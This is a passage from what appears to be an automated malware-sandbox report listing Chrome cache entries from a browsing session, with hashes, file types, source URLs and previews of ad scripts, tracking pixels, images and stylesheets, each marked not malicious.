MD5:	B464F2CDCD2AC880714159354ED6D366
SHA1:	CCEC81193954D8299591B420C6FD428C26C1873E
SHA-256:	88E65E6C067811F434DF26087946EC5AACD3EF1106C9AD970C59096E4535DB40
SHA-512:	FE5667454D612113FDD1C3BBE00C2A7A317A2EA37C17AB055D0C657E51B6BC64EDD3DC312F9484FE9730F4FBC08F3D0705948F4F8D473D70FB00C92DDA7E5215
Malicious:	false
Reputation:	low
URL:	https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/data2.json
Preview:	{"v":"5.12.2","fr":24,"ip":0,"op":240,"w":600,"h":1200,"nm":"CB1-Curi_300x600-2x","ddd":1,"assets":[{"id":"image_0","w":600,"h":1200,"u":"images/","p":"img_0.png","e":0},{"id":"image_1","w":1000,"h":800,"u":"images/","p":"img_1.jpg","e":0},{"id":"image_2","w":600,"h":1200,"u":"images/","p":"img_2.png","e":0},{"id":"comp_0","nm":"End Frame","fr":24,"layers":[{"ddd":0,"ind":1,"ty":4,"nm":"Transition 2","td":1,"sr":1,"ks":{"o":{"a":1,"k":[{"i":{"x":[0.058],"y":[1]},"o":{"x":[0.223],"y":[0]},"t":0,"s":[0]},{"t":9,"s":[100]}],"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"s":true,"x":{"a":0,"k":300,"ix":3},"y":{"a":1,"k":[{"i":{"x":[0.353],"y":[1]},"o":{"x":[0.449],"y":[0]},"t":0,"s":[1364]},{"t":50,"s":[-572]}],"ix":4}},"a":{"a":0,"k":[0,0,0],"ix":1,"l":2},"s":{"a":0,"k":[100,100,100],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0]],"v":[[300,600],[-300,600],[-300,-600],[300,-600]],"c":true},"i

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.620936064750772
Encrypted:	false
SSDEEP:	3:KFEM5QMJn:KVQMJn
MD5:	6A6C75169D236E0448727BDA494AEBA1
SHA1:	AB5B31D771CA052C5977C45E2DE5B2F368A99252
SHA-256:	0DB2F26A4373D0A1E042E798172B25AB88800B7A61FF60E82E05775EEE7165AE
SHA-512:	716A5CDF11F50F19A38FD1B95613FB6E10524C7992553D72673D395CEF59645B94567B5E4EB97EF6BB80AFF9E5955426155002B765E65ED307F3DA7718E41F45
Malicious:	false
Reputation:	low
Preview:	lat and long or woeid missing

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1610), with no line terminators
Category:	downloaded
Size (bytes):	1610
Entropy (8bit):	5.317017318435937
Encrypted:	false
SSDEEP:	24:zBBh9ozqdwZCBBR9opFo0Z1lAl+9opFo0Zi9ozqdwZCHHbT:jn4EXkaSyikaSO4YHP
MD5:	DA05F5D596C887A6A5221011FA70D158
SHA1:	76923BCDC453F807CF78D55E338B78ED8194D0CA
SHA-256:	1D8F5B2BBB996A8F30C64630E9D1EA256B4FCA3F5C937F0856DEF478848DB025
SHA-512:	509024EAEBF85380CB6BD1D4A32728DD69A9B8865657259535754BBD89CBEBAA4608BDBD49631F880051F8A712CB416AFFD35D067D9ADD5B09D18CBF9FAE7036
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/pv/static/ms/trendingNow-flameIcon.yhome-variable.a2368adb8251677d29ac1399a6f34c43.min.css
Preview:	:root,html[data-color-scheme=dark] [data-maintain-color],html[data-color-theme-enabled][data-color-scheme=light]{--srch-tn-flame-color:linear-gradient(-63.94deg, #1D2228 0%, #1D2228 16.1%, #B23909 16.1%, #B23909 32.2%, #FF520D 32.2%, #FF520D 48.2%, #1D2228 48.2%, #1D2228 67.8%, #B23909 67.8%, #B23909 83.9%, #FF520D 83.9%);--srch-tn-flame-icon:url('https://s.yimg.com/pv/static/img/icon-flame-light-202303010352.gif')}html[data-color-theme-enabled][data-color-scheme=dark]{--srch-tn-flame-color:linear-gradient(-63.94deg, #FFFFFF 0%, #FFFFFF 16.1%, #A34810 16.1%, #A34810 32.2%, #FD6100 32.2%, #FD6100 48.2%, #FFFFFF 48.2%, #FFFFFF 67.8%, #A34810 67.8%, #A34810 83.9%, #FD6100 83.9%);--srch-tn-flame-icon:url('https://s.yimg.com/pv/static/img/icon-flame-dark-202303010353.gif')}@media (prefers-color-scheme:dark){html[data-color-theme-enabled]{--srch-tn-flame-color:linear-gradient(-63.94deg, #FFFFFF 0%, #FFFFFF 16.1%, #A34810 16.1%, #A34810 32.2%, #FD6100 32.2%, #FD6100 48.2%, #FFFFFF 48.2%, #FFF

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 536x284, components 3
Category:	dropped
Size (bytes):	69702
Entropy (8bit):	7.96200922606453
Encrypted:	false
SSDEEP:	1536:KAGkVGpdwyXNl49ebrgBoNDAf9MPaAQOo61X1LNER6Pu/fepW:KxkVEfXNl4qqoRaUnh1XlGxes
MD5:	2797C7191C39166570D250EA717C3458
SHA1:	BD0F93BFB32A94CEA09546637A21A3B30870EBDA
SHA-256:	CD48DAD1548861533EF646F93436C2431FB40023F1390E48D86ABA44B1398027
SHA-512:	26846A511121769FF51A2CC9E2F0B33E7819A9D381D13A7878407E8F76CE8E6CC484354AC17870DF0EB2058613ED6D379A31E7CD960B3297B3D8E2FC14AD44F0
Malicious:	false
Reputation:	low
Preview:	......JFIF.............XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1........

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	139803
Entropy (8bit):	5.4409816394498565
Encrypted:	false
SSDEEP:	1536:yMRA4arKJXjPInWWt/usD98kiHLnRA0zqevcZ91SchaV+trbbbhYxvdU:eRKJou8TMyeY4W0shCO
MD5:	8415D06ACA67348BFE157B1359CEA37D
SHA1:	95415169BC213A9F1A7C5287268AE25053F1CDE8
SHA-256:	5157B880857BD20393299A46030B219D7F6787FB68BBD016A41925647FA1865F
SHA-512:	552BFC4984F610EA2812A3EC8769C02B7D3BF9C6420526AA02BB086CF2D8A3797E7788065A20D8A136C1017B51A770E0AA3BD73F29CC470B0AD466D1B05A72A8
Malicious:	false
Reputation:	low
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ra gb_ib gb_Ud gb_od\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Id\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_sd gb_ld gb_yd gb_xd\"\u003e\u003cdiv class\u003d\"gb_rd gb_hd\"\u003e\u003cdiv class\u003d\"gb_Pc gb_r\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Pc gb_Sc gb_r\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	3.0241026136709444
Encrypted:	false
SSDEEP:	3:CUmExltxlNXE:JQ
MD5:	B4682377DDFBE4E7DABFDDB2E543E842
SHA1:	328E472721A93345801ED5533240EAC2D1F8498C
SHA-256:	6D8BA81D1B60A18707722A1F2B62DAD48A6ACCED95A1933F49A68B5016620B93
SHA-512:	202612457D9042FE853DAAB3DDCC1F0F960C5FFDBE8462FA435713E4D1D85FF0C3F197DAF8DBA15BDA9F5266D7E1F9ECAEEE045CBC156A4892D2F931FE6FA1BB
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........2.;

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	85
Entropy (8bit):	4.292908596521779
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+DtjyREWqWv+ndp:6v/lhPfkCDtmDV+dp
MD5:	5BEC6606B8392065F9DA9898CA6F7B14
SHA1:	73AC5B01B5E3293FB792179626E7F8369CDB944D
SHA-256:	ACCCC501AA6AFA3CFAC15E8DDCCF1561DEED2ED08C2F7D652ABBDBE9AA71609A
SHA-512:	36FEC10F71295203E59BCC52042EE2691E5DB51D26F6D76D4B19BFEDF4429FDE898C87ABC77CA29F6BB58E6217FF380F0650115C06395CB1DA270BD028C2CF80
Malicious:	false
Reputation:	low
URL:	https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=
Preview:	.PNG........IHDR.............%.V.....PLTE......U..~....IDATx.c`.......'......IEND.B`.

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (35922)
Category:	downloaded
Size (bytes):	96172
Entropy (8bit):	5.5845826044909135
Encrypted:	false
SSDEEP:	1536:oGRO6eJLovQlaUDUo/PgJKa+G/Vu1adOyq+TK4pI6fwjQUCRERbpfIJwQ:Y6eKcPgzthLK4pI6fwjQUCRERbpfIJwQ
MD5:	7998B96FBE61AA302D07AFC14DB92BED
SHA1:	73936771BCAB6416CACF61EB49D6DBC2E1E55FBC
SHA-256:	D21AB3F11A1DE7DE9EFC925B8C1B067B58EC1499CC35FC07904340040D42F31E
SHA-512:	4BD2B1528DA20BC8BAC85C99D448ADFF2D38DA8B9E3466C832E672CBD7AC7852318BC0FC3F10EADFB27068460F1E8780A9EAE45568D48483DE64B98FEC8D1B62
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/tag/js/gpt.js
Preview:	(function(sttc){var window=this;if(window.googletag&&googletag.evalScripts){googletag.evalScripts();}if(window.googletag&&googletag._loaded_)return;var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ea=da(this),fa="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),t={},ha={},u=function(a,b,c){if(!c\|\|null!=a){c=ha[b];if(null==c)return a[b];c=a[c];return void 0!==c?c:a[b]}},v=function(a,b,c){if(b)a:{var d=a.split(".");a=1===d.length;var e=d[0],f;!a&&e in t?f=t:f=ea;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))brea

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
URL:	https://pr-bh.ybp.yahoo.com/sync/openx/506d2521-5df0-a637-7034-cfa89feebdbf?gdpr=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	8404
Entropy (8bit):	7.876943810997774
Encrypted:	false
SSDEEP:	192:dG+A73ENCzdyRuEiSiD6JMUm4cMx7219UXK2E:4FANCh0VAo2gC
MD5:	BB40570EC13B9639304569A24223503B
SHA1:	C8C06E4F8771B3AFAE3B7E6E46546008F55485B6
SHA-256:	65C3756554A00B035BA1066CA9F72D12F20F246F8067C270B9D954A4521D4B97
SHA-512:	EFB523A3145936DB8C13B939A2AC3A5E84FA62C922AEC10D61A9F2528E7DB6BA5FEF2474F7088661F52D6DAABA1CD8E6BFD947417490CF8ED1A2F81562AEEFA0
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/QE4kbKFBO8gdTgYpRmjkEg--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/ap.org/a4b292845afa16f99e2a1a08e343ce42.cf.webp
Preview:	RIFF. ..WEBPVP8X.... .........ICCP0......0ADBE....mntrRGB XYZ .........3.;acspAPPL....none...........................-ADBE................................................cprt.......2desc...0...kwtpt........bkpt........rTRC........gTRC........bTRC........rXYZ........gXYZ........bXYZ........text....Copyright 2000 Adobe Systems Incorporated...desc........Adobe RGB (1998)................................................................................XYZ .......Q........XYZ ................curv.........3..curv.........3..curv.........3..XYZ ..........O.....XYZ ......4....,....XYZ ......&1.../....VP8 v...p........>y8.I$..%.j. ..gnr./^..7S'.s..1nOds.z$...I7.12..:.8.x....\k".?.o...F...;..F.}...QvD....?...2.X.R7.{)'g.Y......u(....]ig..7hg...2.E....s.z.S.HwI?\|.......=...E.^.[d.7.C.......RR..<D..7<.{.h.;...h.`..z...70W.x..~7.^...H.@.G.1..T...x....fK0O....5,..C....~\...G.....<.Z5..3..Q*.....E".d F...x...C.Y..Top8.G7.t.sF2...o..%..n..eZ.Y..0..V;.a... 3...:........r....^.B..p..

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=medianet&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=3572593249104590000V10
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10108), with no line terminators
Category:	downloaded
Size (bytes):	10108
Entropy (8bit):	5.394926836988633
Encrypted:	false
SSDEEP:	192:eluv6qz171WxJIvNzJChHtvvZcvfS2UeRJAiSNDTxZF7h:PvaxJIvNzgWjlePxZF7h
MD5:	3236243F9F433152B1D74A6376981029
SHA1:	1ECB3EB30B5FE03755E08CB67BE6D1C258B16FC6
SHA-256:	E1E777883C9AEE48A8234D2E7D815DA3773256F8BAA6EB9032D76DCB713795BE
SHA-512:	7BAEE8AC097EEDF81DD5B2B8EAB99454F71038FE8E73402F14C62BEC2EB233BC4CB2E7F6BCDFDE4BD8249557E44AC21C373595C31D4EF965BC27D2B08B6554B3
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/pv/static/ms/trendingNow.yhome-atomic.c16f97f81be530fa2b48a1ffeffd4678.min.css
Preview:	#atomic .Ai$c${align-items:center}#atomic .Bd$n$,.Bd$n${border:none}#atomic .Bdc$\$srchFujiDirtySeagull${border-color:#e0e4e9;border-color:var(--dirty-seagull,#e0e4e9)}#atomic .Bdc$t${border-color:transparent}#atomic .Bdendc$\#0057b8$\:\:b::before{border-right-color:#0057b8}#atomic .Bdendc$\$srchFujiHulkPants$\:\:b::before{border-right-color:#7e1fff;border-right-color:var(--hulk-pants,#7e1fff)}#atomic .Bdbc$\#5015b0${border-bottom-color:#5015b0}.srchTGBlackFri .srchTGBlackFri_Bdbc$\#000000${border-bottom-color:#000!important}.srchTGCyberMon .srchTGCyberMon_Bdbc$\#00873c${border-bottom-color:#00873c!important}#atomic .Bdstartc$\#7e1fff${border-left-color:#7e1fff}.srchTGBlackFri .srchTGBlackFri_Bdstartc$\#2c363f${border-left-color:#2c363f!important}.srchTGCyberMon .srchTGCyberMon_Bdstartc$\#009c94${border-left-color:#009c94!important}#atomic .Bds$s${border-style:solid}#atomic .Bdends$s$\:\:b::before{border-right-style:solid}#atomic .Bdw$1px${border-width:1

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15482), with no line terminators
Category:	downloaded
Size (bytes):	15482
Entropy (8bit):	5.3208769438345405
Encrypted:	false
SSDEEP:	384:0HB2RBvgUsej4bZqR8KPN7uPksUs1g18xNOZFVpm:0IRB4UsNsR0N0M
MD5:	B72BF7D8361C3CE4A79BB3920400E849
SHA1:	004C8C4E8FCFA2DB8EC30B4B8A7F9BCF7FF50D69
SHA-256:	DE635AFB84BD57149E11C2587303DD07510C8D5B1585FCA5F5BABDC187D828D6
SHA-512:	8EB8C020BB996604542AB87BA2BDD7A051B32A9FC1BCE8FB75B0046BE2A0DFC2038D69B7DA5A874C9B0E3C3614EC844458EFCE0DD57D3706ACFC2CFCD48A6FCF
Malicious:	false
Reputation:	low
URL:	https://aam.a47b.com/aam?asid=63JfYkI9&li=21180279824&nid=&did=&iid=ABAjH0izc6cPE2EI033oN7t2_dy7&ptnr=8&io=1016773243&pl=567427586&edst=567427586&ra=1714257730989636&st=https://www.yahoo.com/&sv=8&gdpr=&gdprc=
Preview:	!function(){'use strict';var e=function(e,t){var r=e.currentScript,a={};if(r.src.indexOf('?')>-1){var i=r.src.split('?')[1],n=r.src.split('&dvg=')[1];if(n){var s=n.split('city=')[1].split('&')[1];s?(i=i.split('&dvg=')[0]+'&'+s,n=(n=n.split(s)[0].slice(0,-1)).replace('ct','ctr').replace('st','rg').replace('zp','zc').replace('dma','mtr').replace('city','cty')):i=i.split('&dvg=')[0],i+='&'+n}for(var c=i.split('&'),l=0;l<c.length;l++){var d=c[l].split('=')[0];c[l].split('=').length<2?a[d='ra']=c[l].split('ra')[1]:a[d]=c[l].split('=')[1]}}return{scriptTag:r,srcObj:a,parent:t&&t.frameElement?t.frameElement:r.parentElement.parentElement}},t={aamSnippet:'asid',test:'test',parsecTrack:'psc',mcrRandom:'ra',mcrCampaign:'ca',mcrSite:'st',mcrPlacement:'pl',mcrAdId:'ad',mcrAdvertiser:'adv',mcrUser:'usr',mcrCreative:'cre',mcrRender:'rid',mcrAuction:'auc',mcrPartner:'ptnr',mcrImpression:'iid',mcrBaseBid:'bd',mcrDealId:'did',mcrSupplyVendor:'sv',mcrCategory:'cat',mcrZipCode:'zc',mcrCountry:'ctr',mcrCit

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 356x180, components 3
Category:	dropped
Size (bytes):	25392
Entropy (8bit):	7.972588048032543
Encrypted:	false
SSDEEP:	384:LuCBcCjMRiYB6mKC/KB7M/TitLsLkHBrteld7+lqLaB3xBDi5JYFR9b4bWz5aGkB:LfnjWKmKbBKTmsLyeEqLoxL9sb5B
MD5:	D01A2AC1B6F0F9F9DF5DA9EBFF75D32F
SHA1:	B313720180F176128234D3CD72EEACA6D747495A
SHA-256:	B9D71BF4DFD14CEAA6467E70BC5D63C9133B26A41B748584B9A918C982E10114
SHA-512:	7DB740EAA3F35EDA0B9DF9EBD2ED58BA52AFC2547579C07CE73FE1ACD965BF61A827C84174F1D9BD157FD51D9C04FC9712E05F7E7E7A7340675812F3E28B0050
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................d.............................................I...........................!1A.Qa.."2q....BR...#$3b.4Sr......C...%t......................................>........................!...1."A.#2Q.3Baq....$R.4r.%5b..ES..............?...1.....%C..EK[1...vI....._e.H.".......R...4...L..t..X.?...k8a.$S.h.l....0T...K l..gR..5.../dy......O.A5....}5.M.....nz[.[....8.C.FI.....QdR.A&.:.&..(M.K.j{...A...i.m ...lP:,.,.....<:S2.)............)9.46q.Q.s4......hJ.m+t.f.6v.: J.&.m.H.?.'..c.........S2..../......%...$.#q;W..>T....+.W.^#6.5.Z.N.R.\.%9.H...n.4g..:m.....0.......@g) .<.T.;.=....o~..].&.YlFIR...<.#."O....L...k.O...WI.7(.ko.....6...<.88.......i..p.N7....[.....6.e......9..h...>U....]n..&..N...+`..%...o"2AP8..U.^.e4.s q.Rq?.......&&.O..fDyi....i<....@.z"...Q....J.....=.{.;..l.rN.^}.......1X]....s.3-..}iXH...:.

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	24376
Entropy (8bit):	7.975102387961233
Encrypted:	false
SSDEEP:	384:lcEtKKq8glPe2lgwJ2E5TW6pbFU02U50DR1QbI2joxhQSrZLJrOZ:WRZlpWibFH2iqvQb2HQ0Jr2
MD5:	DC2DC54BF14403E079610CF4EA39A6B1
SHA1:	E6BB16B6275009603222EB1CD3A819B4169589B1
SHA-256:	32318F59CAE50916F7FAB8A20CBE9A6BCABAE84AE87FA4D2148FC8B050B60EE4
SHA-512:	9CC2222EB2CECAC675FE47FF087A783ADE9A9BD6891B41DF964CC45CA6CA5ACF6B3DEA4D3A4700543E2EDEA7C2816BA998D65169B3AD3382BA11D87E19E988D0
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/hpeiTT5J5gj5Yh1JVbkktg--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/fox_news_text_979/40045cfcc7eb21abc7dac4d9fffd740d.cf.webp
Preview:	RIFF0_..WEBPVP8X.... .........ICCP........lcms....mntrRGB XYZ .........).9acspAPPL...................................-lcms................................................desc.......^cprt...\....wtpt...h....bkpt...\|....rXYZ........gXYZ........bXYZ........rTRC.......@gTRC.......@bTRC.......@desc........c2..................................................................................text....FB..XYZ ...............-XYZ ...........3....XYZ ......o...8.....XYZ ......b.........XYZ ......$.........curv...............c...k...?.Q.4!.).2.;.F.Qw].kpz....\|.i.}...0..VP8 .\...........>y6.H$..!'..H...ci.Y.-.r_7.......K...J.B.+../...e.....1....C5....O..b.YkN...~../.:..2......a..FOh=...m6.>.:#..90..m.......}......{..G1.U..J0.....@.a...J.q.$wdy.>e.t.N.f.7.9..(.[.X........L:d....'..~l.4k.n1....w...kt.Ik.........J......;.7..../`:.l.]..... 7G+..c..I=...l)S+4h..e.%C.\|...`...J%..^....p.....%.U....8L/..K.....}A)...?.w.[G.e..0IH..\|!...>f.Ep....\\|..sO[}D.D....V..wG.k...P&..K...<.......>.

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5320), with no line terminators
Category:	downloaded
Size (bytes):	5320
Entropy (8bit):	5.64588314409819
Encrypted:	false
SSDEEP:	96:C07bd7b/7bd7vDfws7bSTPkJUsdCbIsyAZN2xg7R8tWJi7tbwEo931q:hVn1zzVEXxt4T
MD5:	FEB1D1C0B8E9DE7A7AB5F78830D74EF6
SHA1:	3E41349ADCB26C41C674A0B21A7479159E069961
SHA-256:	2F6783B1A24E72336BCAD41D201EE39DD9DC28BBE7A124EA139898F7B8F1FC5A
SHA-512:	3A571EE043C83A808C0F9D54C4E4DD70073EA34623B0FE22C3A6648361A4C92E35C2654FC896EE769F3FB36AF7F281FB12AC6911876ED72EA363488F95C7BCB1
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=51782876&p=159463&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN
